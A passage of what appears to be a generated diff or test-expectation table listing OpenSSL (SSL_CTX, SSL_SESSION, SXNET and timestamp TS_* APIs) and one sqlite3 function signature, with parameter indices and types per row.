ossl_quic_new_domain | 1 | uint64_t | +| (SSL_CTX *,uint64_t) | | ossl_quic_new_listener | 0 | SSL_CTX * | +| (SSL_CTX *,uint64_t) | | ossl_quic_new_listener | 1 | uint64_t | +| (SSL_CTX *,unsigned long) | | SSL_CTX_dane_clear_flags | 0 | SSL_CTX * | +| (SSL_CTX *,unsigned long) | | SSL_CTX_dane_clear_flags | 1 | unsigned long | +| (SSL_CTX *,unsigned long) | | SSL_CTX_dane_set_flags | 0 | SSL_CTX * | +| (SSL_CTX *,unsigned long) | | SSL_CTX_dane_set_flags | 1 | unsigned long | +| (SSL_CTX *,void *) | | SSL_CTX_set0_security_ex_data | 0 | SSL_CTX * | +| (SSL_CTX *,void *) | | SSL_CTX_set0_security_ex_data | 1 | void * | +| (SSL_CTX *,void *) | | SSL_CTX_set_async_callback_arg | 0 | SSL_CTX * | +| (SSL_CTX *,void *) | | SSL_CTX_set_async_callback_arg | 1 | void * | +| (SSL_CTX *,void *) | | SSL_CTX_set_default_passwd_cb_userdata | 0 | SSL_CTX * | +| (SSL_CTX *,void *) | | SSL_CTX_set_default_passwd_cb_userdata | 1 | void * | +| (SSL_CTX *,void *) | | SSL_CTX_set_record_padding_callback_arg | 0 | SSL_CTX * | +| (SSL_CTX *,void *) | | SSL_CTX_set_record_padding_callback_arg | 1 | void * | +| (SSL_CTX *,void *) | | SSL_CTX_set_srp_cb_arg | 0 | SSL_CTX * | +| (SSL_CTX *,void *) | | SSL_CTX_set_srp_cb_arg | 1 | void * | +| (SSL_EXCERT **) | | load_excert | 0 | SSL_EXCERT ** | +| (SSL_HMAC *) | | ssl_hmac_get0_EVP_MAC_CTX | 0 | SSL_HMAC * | +| (SSL_HMAC *) | | ssl_hmac_get0_HMAC_CTX | 0 | SSL_HMAC * | +| (SSL_HMAC *,void *,size_t,char *) | | ssl_hmac_init | 0 | SSL_HMAC * | +| (SSL_HMAC *,void *,size_t,char *) | | ssl_hmac_init | 1 | void * | +| (SSL_HMAC *,void *,size_t,char *) | | ssl_hmac_init | 2 | size_t | +| (SSL_HMAC *,void *,size_t,char *) | | ssl_hmac_init | 3 | char * | +| (SSL_HMAC *,void *,size_t,char *) | | ssl_hmac_old_init | 0 | SSL_HMAC * | +| (SSL_HMAC *,void *,size_t,char *) | | ssl_hmac_old_init | 1 | void * | +| (SSL_HMAC *,void *,size_t,char *) | | ssl_hmac_old_init | 2 | size_t | +| (SSL_HMAC *,void *,size_t,char *) | | ssl_hmac_old_init | 3 | char * | +| (SSL_POLL_ITEM *,size_t,size_t,const timeval *,uint64_t,size_t *) | | SSL_poll | 0 | SSL_POLL_ITEM * | +| (SSL_POLL_ITEM *,size_t,size_t,const timeval *,uint64_t,size_t *) | | SSL_poll | 1 | size_t | +| (SSL_POLL_ITEM *,size_t,size_t,const timeval *,uint64_t,size_t *) | | SSL_poll | 2 | size_t | +| (SSL_POLL_ITEM *,size_t,size_t,const timeval *,uint64_t,size_t *) | | SSL_poll | 3 | const timeval * | +| (SSL_POLL_ITEM *,size_t,size_t,const timeval *,uint64_t,size_t *) | | SSL_poll | 4 | uint64_t | +| (SSL_POLL_ITEM *,size_t,size_t,const timeval *,uint64_t,size_t *) | | SSL_poll | 5 | size_t * | +| (SSL_SESSION *) | | SSL_SESSION_get0_peer | 0 | SSL_SESSION * | +| (SSL_SESSION *) | | SSL_SESSION_get0_peer_rpk | 0 | SSL_SESSION * | +| (SSL_SESSION *) | | ssl_session_calculate_timeout | 0 | SSL_SESSION * | +| (SSL_SESSION **,const unsigned char **,long) | | d2i_SSL_SESSION | 0 | SSL_SESSION ** | +| (SSL_SESSION **,const unsigned char **,long) | | d2i_SSL_SESSION | 1 | const unsigned char ** | +| (SSL_SESSION **,const unsigned char **,long) | | d2i_SSL_SESSION | 2 | long | +| (SSL_SESSION **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_SSL_SESSION_ex | 0 | SSL_SESSION ** | +| (SSL_SESSION **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_SSL_SESSION_ex | 1 | const unsigned char ** | +| (SSL_SESSION **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_SSL_SESSION_ex | 2 | long | +| (SSL_SESSION **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_SSL_SESSION_ex | 3 | OSSL_LIB_CTX * | +| (SSL_SESSION **,const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | d2i_SSL_SESSION_ex | 4 | const char * | +| (SSL_SESSION *,const SSL_CIPHER *) | | SSL_SESSION_set_cipher | 0 | SSL_SESSION * | +| (SSL_SESSION *,const SSL_CIPHER *) | | SSL_SESSION_set_cipher | 1 | const SSL_CIPHER * | +| (SSL_SESSION *,const char *) | | SSL_SESSION_set1_hostname | 0 | SSL_SESSION * | +| (SSL_SESSION *,const char *) | | SSL_SESSION_set1_hostname | 1 | const char * | +| (SSL_SESSION *,const unsigned char *,size_t) | | SSL_SESSION_set1_alpn_selected | 0 | SSL_SESSION * | +| (SSL_SESSION *,const unsigned char *,size_t) | | SSL_SESSION_set1_alpn_selected | 1 | const unsigned char * | +| (SSL_SESSION *,const unsigned char *,size_t) | | SSL_SESSION_set1_alpn_selected | 2 | size_t | +| (SSL_SESSION *,const unsigned char *,size_t) | | SSL_SESSION_set1_master_key | 0 | SSL_SESSION * | +| (SSL_SESSION *,const unsigned char *,size_t) | | SSL_SESSION_set1_master_key | 1 | const unsigned char * | +| (SSL_SESSION *,const unsigned char *,size_t) | | SSL_SESSION_set1_master_key | 2 | size_t | +| (SSL_SESSION *,const unsigned char *,unsigned int) | | SSL_SESSION_set1_id | 0 | SSL_SESSION * | +| (SSL_SESSION *,const unsigned char *,unsigned int) | | SSL_SESSION_set1_id | 1 | const unsigned char * | +| (SSL_SESSION *,const unsigned char *,unsigned int) | | SSL_SESSION_set1_id | 2 | unsigned int | +| (SSL_SESSION *,const unsigned char *,unsigned int) | | SSL_SESSION_set1_id_context | 0 | SSL_SESSION * | +| (SSL_SESSION *,const unsigned char *,unsigned int) | | SSL_SESSION_set1_id_context | 1 | const unsigned char * | +| (SSL_SESSION *,const unsigned char *,unsigned int) | | SSL_SESSION_set1_id_context | 2 | unsigned int | +| (SSL_SESSION *,const void *,size_t) | | SSL_SESSION_set1_ticket_appdata | 0 | SSL_SESSION * | +| (SSL_SESSION *,const void *,size_t) | | SSL_SESSION_set1_ticket_appdata | 1 | const void * | +| (SSL_SESSION *,const void *,size_t) | | SSL_SESSION_set1_ticket_appdata | 2 | size_t | +| (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 0 | SSL_SESSION * | +| (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | int | +| (SSL_SESSION *,long) | | SSL_SESSION_set_time | 0 | SSL_SESSION * | +| (SSL_SESSION *,long) | | SSL_SESSION_set_time | 1 | long | +| (SSL_SESSION *,long) | | SSL_SESSION_set_timeout | 0 | SSL_SESSION * | +| (SSL_SESSION *,long) | | SSL_SESSION_set_timeout | 1 | long | +| (SSL_SESSION *,time_t) | | SSL_SESSION_set_time_ex | 0 | SSL_SESSION * | +| (SSL_SESSION *,time_t) | | SSL_SESSION_set_time_ex | 1 | time_t | +| (SSL_SESSION *,uint32_t) | | SSL_SESSION_set_max_early_data | 0 | SSL_SESSION * | +| (SSL_SESSION *,uint32_t) | | SSL_SESSION_set_max_early_data | 1 | uint32_t | +| (SSL_SESSION *,void **,size_t *) | | SSL_SESSION_get0_ticket_appdata | 0 | SSL_SESSION * | +| (SSL_SESSION *,void **,size_t *) | | SSL_SESSION_get0_ticket_appdata | 1 | void ** | +| (SSL_SESSION *,void **,size_t *) | | SSL_SESSION_get0_ticket_appdata | 2 | size_t * | +| (SXNET *) | | SXNET_free | 0 | SXNET * | +| (SXNET **,ASN1_INTEGER *,const char *,int) | | SXNET_add_id_INTEGER | 0 | SXNET ** | +| (SXNET **,ASN1_INTEGER *,const char *,int) | | SXNET_add_id_INTEGER | 1 | ASN1_INTEGER * | +| (SXNET **,ASN1_INTEGER *,const char *,int) | | SXNET_add_id_INTEGER | 2 | const char * | +| (SXNET **,ASN1_INTEGER *,const char *,int) | | SXNET_add_id_INTEGER | 3 | int | +| (SXNET **,const char *,const char *,int) | | SXNET_add_id_asc | 0 | SXNET ** | +| (SXNET **,const char *,const char *,int) | | SXNET_add_id_asc | 1 | const char * | +| (SXNET **,const char *,const char *,int) | | SXNET_add_id_asc | 2 | const char * | +| (SXNET **,const char *,const char *,int) | | SXNET_add_id_asc | 3 | int | +| (SXNET **,const unsigned char **,long) | | d2i_SXNET | 0 | SXNET ** | +| (SXNET **,const unsigned char **,long) | | d2i_SXNET | 1 | const unsigned char ** | +| (SXNET **,const unsigned char **,long) | | d2i_SXNET | 2 | long | +| (SXNET **,unsigned long,const char *,int) | | SXNET_add_id_ulong | 0 | SXNET ** | +| (SXNET **,unsigned long,const char *,int) | | SXNET_add_id_ulong | 1 | unsigned long | +| (SXNET **,unsigned long,const char *,int) | | SXNET_add_id_ulong | 2 | const char * | +| (SXNET **,unsigned long,const char *,int) | | SXNET_add_id_ulong | 3 | int | +| (SXNETID *) | | SXNETID_free | 0 | SXNETID * | +| (SXNETID **,const unsigned char **,long) | | d2i_SXNETID | 0 | SXNETID ** | +| (SXNETID **,const unsigned char **,long) | | d2i_SXNETID | 1 | const unsigned char ** | +| (SXNETID **,const unsigned char **,long) | | d2i_SXNETID | 2 | long | +| (StrAccum *,sqlite3_str *,const char *,...) | | sqlite3_str_appendf | 0 | StrAccum * | +| (StrAccum *,sqlite3_str *,const char *,...) | | sqlite3_str_appendf | 1 | sqlite3_str * | +| (StrAccum *,sqlite3_str *,const char *,...) | | sqlite3_str_appendf | 2 | const char * | +| (StrAccum *,sqlite3_str *,const char *,...) | | sqlite3_str_appendf | 3 | ... | +| (TLS_FEATURE *) | | TLS_FEATURE_free | 0 | TLS_FEATURE * | +| (TLS_RL_RECORD *,const unsigned char *) | | ossl_tls_rl_record_set_seq_num | 0 | TLS_RL_RECORD * | +| (TLS_RL_RECORD *,const unsigned char *) | | ossl_tls_rl_record_set_seq_num | 1 | const unsigned char * | +| (TS_ACCURACY *) | | TS_ACCURACY_free | 0 | TS_ACCURACY * | +| (TS_ACCURACY **,const unsigned char **,long) | | d2i_TS_ACCURACY | 0 | TS_ACCURACY ** | +| (TS_ACCURACY **,const unsigned char **,long) | | d2i_TS_ACCURACY | 1 | const unsigned char ** | +| (TS_ACCURACY **,const unsigned char **,long) | | d2i_TS_ACCURACY | 2 | long | +| (TS_ACCURACY *,const ASN1_INTEGER *) | | TS_ACCURACY_set_micros | 0 | TS_ACCURACY * | +| (TS_ACCURACY *,const ASN1_INTEGER *) | | TS_ACCURACY_set_micros | 1 | const ASN1_INTEGER * | +| (TS_ACCURACY *,const ASN1_INTEGER *) | | TS_ACCURACY_set_millis | 0 | TS_ACCURACY * | +| (TS_ACCURACY *,const ASN1_INTEGER *) | | TS_ACCURACY_set_millis | 1 | const ASN1_INTEGER * | +| (TS_ACCURACY *,const ASN1_INTEGER *) | | TS_ACCURACY_set_seconds | 0 | TS_ACCURACY * | +| (TS_ACCURACY *,const ASN1_INTEGER *) | | TS_ACCURACY_set_seconds | 1 | const ASN1_INTEGER * | +| (TS_MSG_IMPRINT *) | | TS_MSG_IMPRINT_free | 0 | TS_MSG_IMPRINT * | +| (TS_MSG_IMPRINT *) | | TS_MSG_IMPRINT_get_algo | 0 | TS_MSG_IMPRINT * | +| (TS_MSG_IMPRINT *) | | TS_MSG_IMPRINT_get_msg | 0 | TS_MSG_IMPRINT * | +| (TS_MSG_IMPRINT **,const unsigned char **,long) | | d2i_TS_MSG_IMPRINT | 0 | TS_MSG_IMPRINT ** | +| (TS_MSG_IMPRINT **,const unsigned char **,long) | | d2i_TS_MSG_IMPRINT | 1 | const unsigned char ** | +| (TS_MSG_IMPRINT **,const unsigned char **,long) | | d2i_TS_MSG_IMPRINT | 2 | long | +| (TS_MSG_IMPRINT *,X509_ALGOR *) | | TS_MSG_IMPRINT_set_algo | 0 | TS_MSG_IMPRINT * | +| (TS_MSG_IMPRINT *,X509_ALGOR *) | | TS_MSG_IMPRINT_set_algo | 1 | X509_ALGOR * | +| (TS_MSG_IMPRINT *,unsigned char *,int) | | TS_MSG_IMPRINT_set_msg | 0 | TS_MSG_IMPRINT * | +| (TS_MSG_IMPRINT *,unsigned char *,int) | | TS_MSG_IMPRINT_set_msg | 1 | unsigned char * | +| (TS_MSG_IMPRINT *,unsigned char *,int) | | TS_MSG_IMPRINT_set_msg | 2 | int | +| (TS_REQ *) | | TS_REQ_free | 0 | TS_REQ * | +| (TS_REQ *) | | TS_REQ_get_ext_count | 0 | TS_REQ * | +| (TS_REQ *) | | TS_REQ_get_exts | 0 | TS_REQ * | +| (TS_REQ *) | | TS_REQ_get_msg_imprint | 0 | TS_REQ * | +| (TS_REQ *) | | TS_REQ_get_policy_id | 0 | TS_REQ * | +| (TS_REQ **,const unsigned char **,long) | | d2i_TS_REQ | 0 | TS_REQ ** | +| (TS_REQ **,const unsigned char **,long) | | d2i_TS_REQ | 1 | const unsigned char ** | +| (TS_REQ **,const unsigned char **,long) | | d2i_TS_REQ | 2 | long | +| (TS_REQ *,TS_MSG_IMPRINT *) | | TS_REQ_set_msg_imprint | 0 | TS_REQ * | +| (TS_REQ *,TS_MSG_IMPRINT *) | | TS_REQ_set_msg_imprint | 1 | TS_MSG_IMPRINT * | +| (TS_REQ *,TS_VERIFY_CTX *) | | TS_REQ_to_TS_VERIFY_CTX | 0 | TS_REQ * | +| (TS_REQ *,TS_VERIFY_CTX *) | | TS_REQ_to_TS_VERIFY_CTX | 1 | TS_VERIFY_CTX * | +| (TS_REQ *,X509_EXTENSION *,int) | | TS_REQ_add_ext | 0 | TS_REQ * | +| (TS_REQ *,X509_EXTENSION *,int) | | TS_REQ_add_ext | 1 | X509_EXTENSION * | +| (TS_REQ *,X509_EXTENSION *,int) | | TS_REQ_add_ext | 2 | int | +| (TS_REQ *,const ASN1_INTEGER *) | | TS_REQ_set_nonce | 0 | TS_REQ * | +| (TS_REQ *,const ASN1_INTEGER *) | | TS_REQ_set_nonce | 1 | const ASN1_INTEGER * | +| (TS_REQ *,const ASN1_OBJECT *) | | TS_REQ_set_policy_id | 0 | TS_REQ * | +| (TS_REQ *,const ASN1_OBJECT *) | | TS_REQ_set_policy_id | 1 | const ASN1_OBJECT * | +| (TS_REQ *,const ASN1_OBJECT *,int) | | TS_REQ_get_ext_by_OBJ | 0 | TS_REQ * | +| (TS_REQ *,const ASN1_OBJECT *,int) | | TS_REQ_get_ext_by_OBJ | 1 | const ASN1_OBJECT * | +| (TS_REQ *,const ASN1_OBJECT *,int) | | TS_REQ_get_ext_by_OBJ | 2 | int | +| (TS_REQ *,int) | | TS_REQ_delete_ext | 0 | TS_REQ * | +| (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | int | +| (TS_REQ *,int) | | TS_REQ_get_ext | 0 | TS_REQ * | +| (TS_REQ *,int) | | TS_REQ_get_ext | 1 | int | +| (TS_REQ *,int,int *,int *) | | TS_REQ_get_ext_d2i | 0 | TS_REQ * | +| (TS_REQ *,int,int *,int *) | | TS_REQ_get_ext_d2i | 1 | int | +| (TS_REQ *,int,int *,int *) | | TS_REQ_get_ext_d2i | 2 | int * | +| (TS_REQ *,int,int *,int *) | | TS_REQ_get_ext_d2i | 3 | int * | +| (TS_REQ *,int,int) | | TS_REQ_get_ext_by_NID | 0 | TS_REQ * | +| (TS_REQ *,int,int) | | TS_REQ_get_ext_by_NID | 1 | int | +| (TS_REQ *,int,int) | | TS_REQ_get_ext_by_NID | 2 | int | +| (TS_REQ *,int,int) | | TS_REQ_get_ext_by_critical | 0 | TS_REQ * | +| (TS_REQ *,int,int) | | TS_REQ_get_ext_by_critical | 1 | int | +| (TS_REQ *,int,int) | | TS_REQ_get_ext_by_critical | 2 | int | +| (TS_REQ *,long) | | TS_REQ_set_version | 0 | TS_REQ * | +| (TS_REQ *,long) | | TS_REQ_set_version | 1 | long | +| (TS_RESP *) | | TS_RESP_free | 0 | TS_RESP * | +| (TS_RESP *) | | TS_RESP_get_status_info | 0 | TS_RESP * | +| (TS_RESP *) | | TS_RESP_get_token | 0 | TS_RESP * | +| (TS_RESP *) | | TS_RESP_get_tst_info | 0 | TS_RESP * | +| (TS_RESP **,const unsigned char **,long) | | d2i_TS_RESP | 0 | TS_RESP ** | +| (TS_RESP **,const unsigned char **,long) | | d2i_TS_RESP | 1 | const unsigned char ** | +| (TS_RESP **,const unsigned char **,long) | | d2i_TS_RESP | 2 | long | +| (TS_RESP *,PKCS7 *,TS_TST_INFO *) | | TS_RESP_set_tst_info | 0 | TS_RESP * | +| (TS_RESP *,PKCS7 *,TS_TST_INFO *) | | TS_RESP_set_tst_info | 1 | PKCS7 * | +| (TS_RESP *,PKCS7 *,TS_TST_INFO *) | | TS_RESP_set_tst_info | 2 | TS_TST_INFO * | +| (TS_RESP *,TS_STATUS_INFO *) | | TS_RESP_set_status_info | 0 | TS_RESP * | +| (TS_RESP *,TS_STATUS_INFO *) | | TS_RESP_set_status_info | 1 | TS_STATUS_INFO * | +| (TS_RESP_CTX *) | | TS_RESP_CTX_get_request | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *) | | TS_RESP_CTX_get_tst_info | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,BIO *) | | TS_RESP_create_response | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,BIO *) | | TS_RESP_create_response | 1 | BIO * | +| (TS_RESP_CTX *,EVP_PKEY *) | | TS_RESP_CTX_set_signer_key | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,EVP_PKEY *) | | TS_RESP_CTX_set_signer_key | 1 | EVP_PKEY * | +| (TS_RESP_CTX *,TS_extension_cb,void *) | | TS_RESP_CTX_set_extension_cb | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,TS_extension_cb,void *) | | TS_RESP_CTX_set_extension_cb | 1 | TS_extension_cb | +| (TS_RESP_CTX *,TS_extension_cb,void *) | | TS_RESP_CTX_set_extension_cb | 2 | void * | +| (TS_RESP_CTX *,TS_serial_cb,void *) | | TS_RESP_CTX_set_serial_cb | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,TS_serial_cb,void *) | | TS_RESP_CTX_set_serial_cb | 1 | TS_serial_cb | +| (TS_RESP_CTX *,TS_serial_cb,void *) | | TS_RESP_CTX_set_serial_cb | 2 | void * | +| (TS_RESP_CTX *,TS_time_cb,void *) | | TS_RESP_CTX_set_time_cb | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,TS_time_cb,void *) | | TS_RESP_CTX_set_time_cb | 1 | TS_time_cb | +| (TS_RESP_CTX *,TS_time_cb,void *) | | TS_RESP_CTX_set_time_cb | 2 | void * | +| (TS_RESP_CTX *,X509 *) | | TS_RESP_CTX_set_signer_cert | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,X509 *) | | TS_RESP_CTX_set_signer_cert | 1 | X509 * | +| (TS_RESP_CTX *,const ASN1_OBJECT *) | | TS_RESP_CTX_add_policy | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,const ASN1_OBJECT *) | | TS_RESP_CTX_add_policy | 1 | const ASN1_OBJECT * | +| (TS_RESP_CTX *,const ASN1_OBJECT *) | | TS_RESP_CTX_set_def_policy | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,const ASN1_OBJECT *) | | TS_RESP_CTX_set_def_policy | 1 | const ASN1_OBJECT * | +| (TS_RESP_CTX *,const EVP_MD *) | | TS_RESP_CTX_add_md | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,const EVP_MD *) | | TS_RESP_CTX_add_md | 1 | const EVP_MD * | +| (TS_RESP_CTX *,const EVP_MD *) | | TS_RESP_CTX_set_ess_cert_id_digest | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,const EVP_MD *) | | TS_RESP_CTX_set_ess_cert_id_digest | 1 | const EVP_MD * | +| (TS_RESP_CTX *,const EVP_MD *) | | TS_RESP_CTX_set_signer_digest | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,const EVP_MD *) | | TS_RESP_CTX_set_signer_digest | 1 | const EVP_MD * | +| (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | int | +| (TS_RESP_CTX *,int,int,int) | | TS_RESP_CTX_set_accuracy | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,int,int,int) | | TS_RESP_CTX_set_accuracy | 1 | int | +| (TS_RESP_CTX *,int,int,int) | | TS_RESP_CTX_set_accuracy | 2 | int | +| (TS_RESP_CTX *,int,int,int) | | TS_RESP_CTX_set_accuracy | 3 | int | +| (TS_RESP_CTX *,stack_st_X509 *) | | TS_RESP_CTX_set_certs | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,stack_st_X509 *) | | TS_RESP_CTX_set_certs | 1 | stack_st_X509 * | +| (TS_RESP_CTX *,unsigned int) | | TS_RESP_CTX_set_clock_precision_digits | 0 | TS_RESP_CTX * | +| (TS_RESP_CTX *,unsigned int) | | TS_RESP_CTX_set_clock_precision_digits | 1 | unsigned int | +| (TS_STATUS_INFO *) | | TS_STATUS_INFO_free | 0 | TS_STATUS_INFO * | +| (TS_STATUS_INFO **,const unsigned char **,long) | | d2i_TS_STATUS_INFO | 0 | TS_STATUS_INFO ** | +| (TS_STATUS_INFO **,const unsigned char **,long) | | d2i_TS_STATUS_INFO | 1 | const unsigned char ** | +| (TS_STATUS_INFO **,const unsigned char **,long) | | d2i_TS_STATUS_INFO | 2 | long | +| (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 0 | TS_STATUS_INFO * | +| (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | int | +| (TS_TST_INFO *) | | TS_TST_INFO_free | 0 | TS_TST_INFO * | +| (TS_TST_INFO *) | | TS_TST_INFO_get_accuracy | 0 | TS_TST_INFO * | +| (TS_TST_INFO *) | | TS_TST_INFO_get_ext_count | 0 | TS_TST_INFO * | +| (TS_TST_INFO *) | | TS_TST_INFO_get_exts | 0 | TS_TST_INFO * | +| (TS_TST_INFO *) | | TS_TST_INFO_get_msg_imprint | 0 | TS_TST_INFO * | +| (TS_TST_INFO *) | | TS_TST_INFO_get_policy_id | 0 | TS_TST_INFO * | +| (TS_TST_INFO *) | | TS_TST_INFO_get_tsa | 0 | TS_TST_INFO * | +| (TS_TST_INFO **,const unsigned char **,long) | | d2i_TS_TST_INFO | 0 | TS_TST_INFO ** | +| (TS_TST_INFO **,const unsigned char **,long) | | d2i_TS_TST_INFO | 1 | const unsigned char ** | +| (TS_TST_INFO **,const unsigned char **,long) | | d2i_TS_TST_INFO | 2 | long | +| (TS_TST_INFO *,ASN1_OBJECT *) | | TS_TST_INFO_set_policy_id | 0 | TS_TST_INFO * | +| (TS_TST_INFO *,ASN1_OBJECT *) | | TS_TST_INFO_set_policy_id | 1 | ASN1_OBJECT * | +| (TS_TST_INFO *,GENERAL_NAME *) | | TS_TST_INFO_set_tsa | 0 | TS_TST_INFO * | +| (TS_TST_INFO *,GENERAL_NAME *) | | TS_TST_INFO_set_tsa | 1 | GENERAL_NAME * | +| (TS_TST_INFO *,TS_ACCURACY *) | | TS_TST_INFO_set_accuracy | 0 | TS_TST_INFO * | +| (TS_TST_INFO *,TS_ACCURACY *) | | TS_TST_INFO_set_accuracy | 1 | TS_ACCURACY * | +| (TS_TST_INFO *,TS_MSG_IMPRINT *) | | TS_TST_INFO_set_msg_imprint | 0 | TS_TST_INFO * | +| (TS_TST_INFO *,TS_MSG_IMPRINT *) | | TS_TST_INFO_set_msg_imprint | 1 | TS_MSG_IMPRINT * | +| (TS_TST_INFO *,X509_EXTENSION *,int) | | TS_TST_INFO_add_ext | 0 | TS_TST_INFO * | +| (TS_TST_INFO *,X509_EXTENSION *,int) | | TS_TST_INFO_add_ext | 1 | X509_EXTENSION * | +| (TS_TST_INFO *,X509_EXTENSION *,int) | | TS_TST_INFO_add_ext | 2 | int | +| (TS_TST_INFO *,const ASN1_GENERALIZEDTIME *) | | TS_TST_INFO_set_time | 0 | TS_TST_INFO * | +| (TS_TST_INFO *,const ASN1_GENERALIZEDTIME *) | | TS_TST_INFO_set_time | 1 | const ASN1_GENERALIZEDTIME * | +| (TS_TST_INFO *,const ASN1_INTEGER *) | | TS_TST_INFO_set_nonce | 0 | TS_TST_INFO * | +| (TS_TST_INFO *,const ASN1_INTEGER *) | | TS_TST_INFO_set_nonce | 1 | const ASN1_INTEGER * | +| (TS_TST_INFO *,const ASN1_INTEGER *) | | TS_TST_INFO_set_serial | 0 | TS_TST_INFO * | +| (TS_TST_INFO *,const ASN1_INTEGER *) | | TS_TST_INFO_set_serial | 1 | const ASN1_INTEGER * | +| (TS_TST_INFO *,const ASN1_OBJECT *,int) | | TS_TST_INFO_get_ext_by_OBJ | 0 | TS_TST_INFO * | +| (TS_TST_INFO *,const ASN1_OBJECT *,int) | | TS_TST_INFO_get_ext_by_OBJ | 1 | const ASN1_OBJECT * | +| (TS_TST_INFO *,const ASN1_OBJECT *,int) | | TS_TST_INFO_get_ext_by_OBJ | 2 | int | +| (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 0 | TS_TST_INFO * | +| (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | int | +| (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 0 | TS_TST_INFO * | +| (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | int | +| (TS_TST_INFO *,int,int *,int *) | | TS_TST_INFO_get_ext_d2i | 0 | TS_TST_INFO * | +| (TS_TST_INFO *,int,int *,int *) | | TS_TST_INFO_get_ext_d2i | 1 | int | +| (TS_TST_INFO *,int,int *,int *) | | TS_TST_INFO_get_ext_d2i | 2 | int * | +| (TS_TST_INFO *,int,int *,int *) | | TS_TST_INFO_get_ext_d2i | 3 | int * | +| (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_NID | 0 | TS_TST_INFO * | +| (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_NID | 1 | int | +| (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_NID | 2 | int | +| (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_critical | 0 | TS_TST_INFO * | +| (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_critical | 1 | int | +| (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_critical | 2 | int | +| (TS_TST_INFO *,long) | | TS_TST_INFO_set_version | 0 | TS_TST_INFO * | +| (TS_TST_INFO *,long) | | TS_TST_INFO_set_version | 1 | long | +| (TS_VERIFY_CTX *,BIO *) | | TS_VERIFY_CTX_set0_data | 0 | TS_VERIFY_CTX * | +| (TS_VERIFY_CTX *,BIO *) | | TS_VERIFY_CTX_set0_data | 1 | BIO * | +| (TS_VERIFY_CTX *,BIO *) | | TS_VERIFY_CTX_set_data | 0 | TS_VERIFY_CTX * | +| (TS_VERIFY_CTX *,BIO *) | | TS_VERIFY_CTX_set_data | 1 | BIO * | +| (TS_VERIFY_CTX *,X509_STORE *) | | TS_VERIFY_CTX_set0_store | 0 | TS_VERIFY_CTX * | +| (TS_VERIFY_CTX *,X509_STORE *) | | TS_VERIFY_CTX_set0_store | 1 | X509_STORE * | +| (TS_VERIFY_CTX *,X509_STORE *) | | TS_VERIFY_CTX_set_store | 0 | TS_VERIFY_CTX * | +| (TS_VERIFY_CTX *,X509_STORE *) | | TS_VERIFY_CTX_set_store | 1 | X509_STORE * | +| (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 0 | TS_VERIFY_CTX * | +| (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | int | +| (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 0 | TS_VERIFY_CTX * | +| (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | int | +| (TS_VERIFY_CTX *,stack_st_X509 *) | | TS_VERIFY_CTX_set0_certs | 0 | TS_VERIFY_CTX * | +| (TS_VERIFY_CTX *,stack_st_X509 *) | | TS_VERIFY_CTX_set0_certs | 1 | stack_st_X509 * | +| (TS_VERIFY_CTX *,stack_st_X509 *) | | TS_VERIFY_CTX_set_certs | 0 | TS_VERIFY_CTX * | +| (TS_VERIFY_CTX *,stack_st_X509 *) | | TS_VERIFY_CTX_set_certs | 1 | stack_st_X509 * | +| (TS_VERIFY_CTX *,unsigned char *,long) | | TS_VERIFY_CTX_set0_imprint | 0 | TS_VERIFY_CTX * | +| (TS_VERIFY_CTX *,unsigned char *,long) | | TS_VERIFY_CTX_set0_imprint | 1 | unsigned char * | +| (TS_VERIFY_CTX *,unsigned char *,long) | | TS_VERIFY_CTX_set0_imprint | 2 | long | +| (TS_VERIFY_CTX *,unsigned char *,long) | | TS_VERIFY_CTX_set_imprint | 0 | TS_VERIFY_CTX * | +| (TS_VERIFY_CTX *,unsigned char *,long) | | TS_VERIFY_CTX_set_imprint | 1 | unsigned char * | +| (TS_VERIFY_CTX *,unsigned char *,long) | | TS_VERIFY_CTX_set_imprint | 2 | long | +| (TXT_DB *,OPENSSL_STRING *) | | TXT_DB_insert | 0 | TXT_DB * | +| (TXT_DB *,OPENSSL_STRING *) | | TXT_DB_insert | 1 | OPENSSL_STRING * | +| (TXT_DB *,int,..(*)(..),OPENSSL_LH_HASHFUNC,OPENSSL_LH_COMPFUNC) | | 